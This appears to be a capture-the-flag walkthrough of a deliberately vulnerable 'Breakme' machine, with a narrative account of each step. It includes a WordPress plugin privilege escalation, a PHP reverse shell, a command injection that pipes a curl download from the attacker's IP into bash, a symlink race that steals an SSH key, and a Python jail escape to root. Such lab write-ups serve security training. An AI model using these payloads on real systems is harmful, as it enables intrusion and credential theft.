Visiting the index page, we are just greeted with an Apache2 Debian default page.
We visit the WordPress site and discover that it is a straightforward blog.
http://breakme.thm/wordpress/
We seem to be in the right place http://breakme.thm/wordpress/index.php/breakme/.
Next, we use WPScan to analyze the WordPress application. It reveals that the site is running version 6.4.3, which contains a vulnerability allowing user enumeration.
┌──(kali㉿kali)-[~]└─$wpscan--urlhttp://breakme.thm/wordpress/_____________________________________________________________________________\ \ //__ \ /____|\ \ /\ //||__) | (____________®\ \/ \/ /|___/ \___ \ /__|/_` |'_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.25 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart_______________________________________________________________[i] Updating the Database ...[i] Update completed.[+] URL: http://breakme.thm/wordpress/ [10.10.221.241][+] Started: Mon Oct 7 12:17:29 2024....[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30). | Found By: Rss Generator (Passive Detection) | - http://breakme.thm/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator> | - http://breakme.thm/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>[+] WordPress theme in use: twentytwentyfour | Location: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/ | Last Updated: 2024-07-16T00:00:00.000Z | Readme: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/readme.txt | [!] The version is out of date, the latest version is 1.2 | Style URL: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css | Style Name: Twenty Twenty-Four | Style URI: https://wordpress.org/themes/twentytwentyfour/ | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti... | Author: the WordPress team | Author URI: https://wordpress.org | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.0 (80% confidence) | Found By: Style (Passive Detection) | - http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version:1.0'
Initial Access
We continue focusing on the WordPress site and run additional WPScan assessments to extract more useful information. These scans help identify potential vulnerabilities that could be exploited.
WPScan Part I - Enum Credentials
We begin by attempting to enumerate existing users on the WordPress site. Through this process, we successfully identify two users: bob and admin.
A link in the sample page http://breakme.thm/wordpress/index.php/sample-page takes us to the login window.
We log in using the discovered credentials but realize that the account doesn't have elevated privileges. The admin dashboard is not visible, indicating this user has limited permissions.
We can make changes to our profile and are able to make minor adjustments at the dashboard.
WPSan Part II - Further Enumeration (WPScan API Key)
It looks like we haven't discovered everything yet. Next we run another WPScan, this time with an API key.
This can be obtained free of charge after registering on the next page of WPScan. This will allow us to get our results associated with CVEs.
We run the WPScan using the API key and discover an interesting finding that belongs to CVE-2023-1874, which is WP Data Access <= 5.3.7 - Authenticated (Subscriber+) Privilege Escalation.
┌──(kali㉿kali)-[~]└─$exportWPSCAN_API_TOKEN=[REDACTED]┌──(kali㉿kali)-[~]└─$wpscan--urlhttp://breakme.thm/wordpress/_____________________________________________________________________________\ \ //__ \ /____|\ \ /\ //||__) | (____________®\ \/ \/ /|___/ \___ \ /__|/_` |'_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.25 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart_______________________________________________________________[+] URL: http://breakme.thm/wordpress/ [10.10.221.241][+] Started: Mon Oct 7 12:53:11 2024Interesting Finding(s):[+] Headers | Interesting Entry: Server: Apache/2.4.56 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100%[+] XML-RPC seems to be enabled: http://breakme.thm/wordpress/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://breakme.thm/wordpress/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] The external WP-Cron seems to be enabled: http://breakme.thm/wordpress/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30). | Found By: Rss Generator (Passive Detection) | - http://breakme.thm/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator> | - http://breakme.thm/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator> | | [!] 4 vulnerabilities identified: | | [!] Title: WP < 6.5.2 - Unauthenticated Stored XSS | Fixed in: 6.4.4 | References: | - https://wpscan.com/vulnerability/1a5c5df1-57ee-4190-a336-b0266962078f | - https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-security-release/ | | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API | Fixed in: 6.4.5 | References: | - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28 | - https://wordpress.org/news/2024/06/wordpress-6-5-5/ | | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block | Fixed in: 6.4.5 | References: | - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb | - https://wordpress.org/news/2024/06/wordpress-6-5-5/ | | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block | Fixed in: 6.4.5 | References: | - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c | - https://wordpress.org/news/2024/06/wordpress-6-5-5/[+] WordPress theme in use: twentytwentyfour | Location: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/ | Last Updated: 2024-07-16T00:00:00.000Z | Readme: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/readme.txt | [!] The version is out of date, the latest version is 1.2 | Style URL: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css | Style Name: Twenty Twenty-Four | Style URI: https://wordpress.org/themes/twentytwentyfour/ | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti... | Author: the WordPress team | Author URI: https://wordpress.org | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.0 (80% confidence) | Found By: Style (Passive Detection) | - http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version:1.0'[+] Enumerating All Plugins (via Passive Methods)[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] wp-data-access | Location: http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/ | Last Updated: 2024-09-18T00:01:00.000Z | [!] The version is out of date, the latest version is 5.5.14 | | Found By: Urls In Homepage (Passive Detection) | | [!] 3 vulnerabilities identified: | | [!] Title: WP Data Access < 5.3.8 - Subscriber+ Privilege Escalation | Fixed in: 5.3.8 | References: | - https://wpscan.com/vulnerability/7871b890-5172-40aa-88f2-a1b95e240ad4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1874 | - https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/ | | [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting | Fixed in: 5.3.11 | References: | - https://wpscan.com/vulnerability/39d1f22f-ea34-4d94-9dc2-12661cf69d36 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999 | | [!] Title: WP Data Access < 5.5.9 - Cross-Site Request Forgery | Fixed in: 5.5.9 | References: | - https://wpscan.com/vulnerability/4fe0d330-6511-4500-ac3f-b9bb944b8f0e | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43295 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/85a33508-71f2-4aa1-8d51-667eb0690fbd | | Version: 5.3.5 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/readme.txt[+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:05 <=============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:05[i] No Config Backups Found.[+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 3 | Requests Remaining: 22[+] Finished: Mon Oct 7 12:53:26 2024[+] Requests Done: 176[+] Cached Requests: 5[+] Data Sent: 47.983 KB[+] Data Received: 311.351 KB[+] Memory used: 273.23 MB[+] Elapsed time: 00:00:14
We can find out more about the vulnerability in the following post:
So we update our profile first.
We submit the request and intercept it via Burp Suite. We must now add the following parameter, which is not already set.
&wpda_role[]=administrator
We assign ourselves the administrator role. However, if we make an error with the parameter and input it incorrectly, we risk being locked out and losing access to the dashboard, requiring a machine restart to regain access.
Reverse Shell
To establish a foothold, we leverage our elevated privileges to create a reverse shell. Following guidance from Hacktricks, we modify a template page's content with a reverse shell script, utilizing revshells.com to generate a suitable Pentest Monkey reverse shell. We ensure this process runs in the background while setting up a listener to catch the incoming connection.
Next, we reach out to the following Page to update a template for a reverse shell.
Here we first set the template to Twenty-Twenty One, because this has a PHP template for the 404 page. We select this and then replace everything with the reverse shell content and then update the file.
Now we only need to call up our edited page with the following URL:
We then get a reverse shell on our listener and upgrade our shell. We are www-data, but don't have access to the first flag for the time being.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.17.15.155] from (UNKNOWN) [10.10.221.241] 43952
Linux Breakme 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64 GNU/Linux
03:49:00 up 2:18, 0 users, load average: 0.00, 0.00, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (616): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Breakme:/$
First. Let's upgrade this shell.
We transfer linpeas to the machine and run it.
After our Linpeas scan we find access possibilities to files of other users john and youcef.
We find the first flag in john's home directory, but have no access to it. We may have to get access to user john.
Reverse Shell as john
When enurering using www-data, we detect an internal service running on port 9999.
Before we continue, let's take a look at possible processes running in the background using Pspy. Here we see that the service is a web server running in the context of the user with the uid 1002.
This is our user john.
We now want to investigate the service on port 9999 further. To do this, we create a tunnel using Ligolo-ng to gain access to it.
Setup Ligolo-ng
First, we set up a TUN (network tunnel) interface named "ligolo" and configuring routes to forward traffic for 240.0.0.1 through the tunnel.
┌──(kali㉿kali)-[~]└─$sudoiptuntapadduser0xb0bmodetunligolo[sudo] password for kali: ┌──(kali㉿kali)-[~]└─$sudoiplinksetligoloup┌──(kali㉿kali)-[~]└─$sudoiprouteadd240.0.0.1devligolo
Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.
On our attack machine, we start the proxy server.
./proxy-selfcert
Next on the target machine we start the agent to connect to our proxy.
./agent-connect10.8.211.1:11601--ignore-cert
We receive a message on our ligolo-ng proxy that an agent has joined. We select the session using session and then start it.
We are now able to reach internal port 9999 via the address 240.0.0.1.
Here we have a page with tools that include a check target, a check user and check file. This suggests that some kind of command injection could be possible.
If we enter our IP at Check Target, we find that a ping is actually executed. The input only allows the numerical representation of IP addresses.
Check user reflects the entries you have made. However, we cannot find a valid user, not even under the known john, bob or www-data.
The file check does not seem to find any files either. Special characters or numbers do not seem to be permitted here.
We enter a set of special characters in Check User and see that a small set is reflected. Not everything is removed. We also notice that the space character is removed.
Copy
!@#$%^&*()_+-={}[]|:;'"<>,.?/
With the character set of special characters that we determined earlier, we can try the following command injection. We use the ${IFS} variable to replace the space, pipe that ping command to the previous command as output.
|ping${IFS}10.17.15.155
We then capture the pings via tcpdump and see that our command injection was successful.
Next, we prepare a simple reverse shell payload. Since we can't use & we use curl to distribute our reverse shell and execute it in the same command.
Then we set up a Python web server to provide the payload.
We replace our ping with a curl command, to see if we can successfully request the payload.
Copy
|curl${IFS}http://10.17.15.155/payload.sh
Now we set up a listener on port 4446 and adapt our command with a pipe to bash.
|curl${IFS}http://10.17.15.155/payload.sh|bash
This gives us our first flag.
Reverse Shell as Youcef
In the home directory of youcef we find that we have access to other files, including readfile.
We want to take a closer look at the files and set up a python web server in the home directory to access these.
Initially, we decompile the readfile binary since we lack access to readfile.c. This binary has the SUID bit set, allowing us to read files with the privileges of its owner, Youcef. We hope to retrieve Youcef's SSH key. However, attempts to read the file result in a "file not found" error, and our access to readfile.c returns a Nice Try! message, indicating restrictions in place.
After decompiling the binary, we discover that it includes checks to verify if the user is john by searching for the UID. It also prevents access to specific filenames like flag and id_rsa, resulting in a Nice Try! message if those are attempted. Additionally, the program checks for symlinks, which if opened, also fail, along with any files to which user john does not have access.
The application first checks if an argument is supplied, otherwise it exits with a usage message. It then verifies if the file exists, exits if it doesn't, and ensures the user is running with UID 1002 (john). If the filename contains flag or id_rsa, or is a symlink, access is denied. However, if the file passes these checks, the program waits briefly (usleep) before opening and printing the file. This delay introduces a race condition, allowing exploitation between the file check and access (TOCTOU vulnerability).
Race Condition
To exploit the race condition vulnerability, we can create a regular file and rapidly toggle it between a regular file and a symlink pointing to the desired file (e.g., youcef’s file). The goal is that during the application's check, it detects the regular file and allows access. But by the time the program opens and reads the file, the symlink points to the target file we wish to access, bypassing the restrictions.
For this, we will first use a loop to constantly switch the file between these two states and run it in the background.
Now, we will create another loop that continuously runs the program, hoping to win the race condition. If we succeed, it will print the output and exit.
for i in {1..30}; do/home/youcef/readfilesymlink; done
As we can see, after a while, we win the race and manage to read /home/youcef/.ssh/id_rsa.
SSH Connection
Now that we have the SSH key, we encounter an additional obstacle: the key is encrypted with a passphrase. To gain access, we will need to crack or bypass this passphrase in order to use the SSH key and establish a shell on the target system.
However, if we try to import a module to run commands, we see the message Illegal Input and the program exits. This indicates that there must be some filtering in place.
>> import osIllegalInputyoucef@Breakme:~$
Since directly spawning a shell or utilizing typical programs for this purpose is restricted, we should explore alternative methods to gain shell access. We might consider leveraging scripting techniques, utilizing file redirection, or finding executables that allow indirect access. Exploring environment variables or existing permissions could also present opportunities for executing commands that would lead to a shell.
Looking for common Python jail bypass payloads, we find the following payload here. It imports the os module and calls the system function from it:
__builtins__.__import__("os").system("ls")
But, if we try it in our case, we see that it fails.
To begin our exploration, we first attempt to access the import function using __builtins__.__import__. However, we quickly discover that this functionality is restricted.
>> __builtins__.__import__IllegalInput
By breaking down our payload and testing its individual components, we determine that the problem originates from the __import__ function and the quotation marks.
To bypass the issue with quotation marks, we can use single quotes (').
For the __import__ function, instead of calling it directly as __builtins__.__import__, we can access it through the dictionary method with __builtins__.__dict__['__import__'].
This approach allows us to provide __import__ as a string, which we can manipulate using various string methods to circumvent filters. For instance, the application accepts __IMPORT__, enabling us to modify it to __import__.
For instance, we see that the application has no issue with __IMPORT__.
>> __IMPORT__WrongInput
We can utilize __IMPORT__ and then apply a method to convert it to __import__. One method we can use is lower(), which transforms all uppercase letters into lowercase.
Looking for alternatives to the lower method, we find the casefold method, which serves a similar purpose. As we can see, this method is not filtered and works.
Returning to our payload, we find that when we attempt to import the os module, it is also not allowed, and we can see the reason why: os is filtered as well.
By using the payload __builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__['SYSTEM'.casefold()]('/lib/yorick/bin/yorick'), we can spawn the Yorick interpreter. Once inside the Yorick environment, we can execute the command system "bash" to launch a shell as the root user. This allows us to access and read the third flag, leveraging the vulnerabilities in the Python execution context.
youcef@Breakme:~$sudo/usr/bin/python3/root/jail.pyWelcometoPythonjailWillyoustaylockedforeverOrwillyouBreakMe>> __builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__['SYSTEM'.casefold()]('/lib/yorick/bin/yorick')Copyright (c) 2005. The Regents of the University of California.Allrightsreserved.Yorick2.2.04ready.Forhelptype'help'> system, "bash"root@Breakme:/home/youcef#cd~root@Breakme:~#iduid=0(root) gid=0(root) groups=0(root)